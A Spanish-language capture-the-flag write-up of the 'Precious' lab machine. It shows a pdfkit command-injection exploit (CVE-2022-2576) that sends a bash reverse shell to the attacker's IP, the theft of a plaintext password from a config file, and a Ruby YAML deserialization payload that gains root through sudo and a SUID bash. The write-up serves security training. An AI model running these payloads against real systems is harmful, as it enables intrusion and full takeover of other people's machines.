Precious
8 minutos de lectura

sudo para ejecutar un script en Ruby que es vulnerable a deserialización insegura en YAML, que puede usarse para ejecutar comandos como root- CVE
- Ruby
sudo- Metadatos de archivos
- Inyección de Comandos
- Deserialización insegura
- Ejecución remota de comandos
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.189
- Fecha: 26 / 11 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.189 -p 22,80
Nmap scan report for 10.10.11.189
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.72 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.189 se nos redirige a http://precious.htb, por lo que tenemos que poner el dominio en /etc/hosts. Después, veremos esta página web:


Nos permite convertir una página HTML en PDF. Para analizarlo, podemos configurar un listener usando nc -nlvp 80 y poner nuestra dirección IP como URL:

Entonces, recibimos esta petición:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:38498.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
^C
Nada demasiado interesante. Intentemos convertir una página HTML:
$ mkdir www
$ cd www
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Ahora, si ingresamos nuestra dirección IP como URL, veremos este documento PDF:

En sus metadatos, encontraremos que se genera con pdfkit v0.8.6:
$ exiftool /tmp/roqhkior45j34b3r45gnhrpvi8mdgy7w.pdf
ExifTool Version Number : 12.50
File Name : roqhkior45j34b3r45gnhrpvi8mdgy7w.pdf
Directory : /tmp
File Size : 11 kB
File Modification Date/Time : 2023:01:16 12:28:50+01:00
File Access Date/Time : 2023:01:16 12:28:59+01:00
File Inode Change Date/Time : 2023:01:16 12:28:50+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Acceso a la máquina
Usando este servicio y versión, podemos buscar vulnerabilidades y descubrir que el CVE-2022-2576 afecta esta versión.
En security.snyk.io, Podemos encontrar una prueba de concepto para una vulnerabilidad de inyección de comandos. El payload es:
http://example.com/?name=#{'%20`sleep 5`'}
Confirmamos que el payload anterior funciona porque la respuesta tarda más de 5 segundos (por lo que se ejecutó el comando sleep 5):

Por lo tanto, tenemos la ejecución remota de comandos (Remote Code Execution, RCE), por lo que podemos obtener una reverse shell en el sistema:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Entonces usaremos la siguiente URL:
http://10.10.17.44/?name=#{'%20`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash`'}
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:48396.
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$ export SHELL=bash
ruby@precious:/var/www/pdfapp$ stty rows 50 columns 158
Enumeración del sistema
En este punto, podemos ver que hay un usuario de sistema llamado henry que posee la flag user.txt:
ruby@precious:~$ ls /home
henry ruby
ruby@precious:~$ ls /home/henry/
user.txt
ruby@precious:~$ ls -la /home/henry/
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 root henry 33 Jan 16 06:22 user.txt
Entonces, de alguna manera debemos cambiarnos a este usuario.
Movimiento lateral al usuario henry
Estos son algunos de los archivos del servidor web, pero aquí no hay nada útil:
ruby@precious:/var/www/pdfapp$ ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby 59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby 99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby 478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Jan 16 06:28 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ruby@precious:/var/www/pdfapp$ find
.
./public
./public/images
./public/stylesheets
./public/stylesheets/style.css
./config.ru
./config
./config/environment.rb
./Gemfile
./pdf
./app
./app/views
./app/views/index.erb
./app/controllers
./app/controllers/pdf.rb
./Gemfile.lock
Si vamos al directorio personal de ruby, veremos estos archivos:
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 16 06:26 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 16 06:26 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ find
.
./.bundle
./.bundle/config
./.profile
./.bash_history
./.cache
./.cache/fontconfig
./.cache/fontconfig/CACHEDIR.TAG
./.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
./.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
./.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
./.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
./.bash_logout
./.bashrc
Podemos encontrar una contraseña en texto claro en .bundle/config:
ruby@precious:~$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Estas credenciales nos permiten cambiarnos a henry:
ruby@precious:~$ su henry
Password:
henry@precious:/home/ruby$ cd
henry@precious:~$ cat user.txt
325c6a80e4b91734fe975fada382d526
Escalada de privilegios
Este usuario puede ejecutar un script en Ruby como root usando sudo:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Este es el script en Ruby (/opt/update_dependencies.rb):
# Compare installed dependencies with those specified in "dependencies.yml"
require 'yaml'
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read('dependencies.yml'))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
El código Ruby es muy simple. La única entrada que tenemos es el archivo dependencies.yml, que se toma desde una ruta relativa. Si buscamos vulnerabilidades que involucren a YAML en Ruby, encontraremos este blog, que nos redirige a gist.github.com.
Parece que YAML.load es vulnerable a una deserialización insegura y podemos ejecutar código Ruby (por ejemplo, inyectar un comando de sistema). Usando el siguiente payload, estaremos ejecutando id:
henry@precious:/tmp$ cat > dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
^C
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
Dado que se nos permite usar sudo, la salida de id es uid=0(root) gid=0(root) groups=0(root), por lo que somos root.
En este punto, podemos hacer que bash sea un binario SUID para escalar a root:
henry@precious:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ cat > dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod 4755 /bin/bash
method_id: :resolve
^C
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Como se puede ver, después de ejecutar el script, los permisos para /bin/bash han cambiado. En este punto, podemos convertirnos en root usando bash -p:
henry@precious:/tmp$ bash -p
bash-5.1# cat /root/root.txt
c6c51a49833192ad6abad4278fdb3b40
Además, desarrollé un script en Ruby llamado autopwn.rb (explicación detallada aquí) que automatiza la explotación hasta conseguir acceso como root:
$ ruby autopwn.rb 10.10.17.44
[*] Listening on port 4444
[*] Sending reverse shell payload
[+] Got connection
[+] Found credentials: "henry:Q3c1AqGHtoI0aXAYFH"
bash-5.1# whoami
root
bash-5.1# cat /home/henry/user.txt
325c6a80e4b91734fe975fada382d526
bash-5.1# cat /root/root.txt
c6c51a49833192ad6abad4278fdb3b40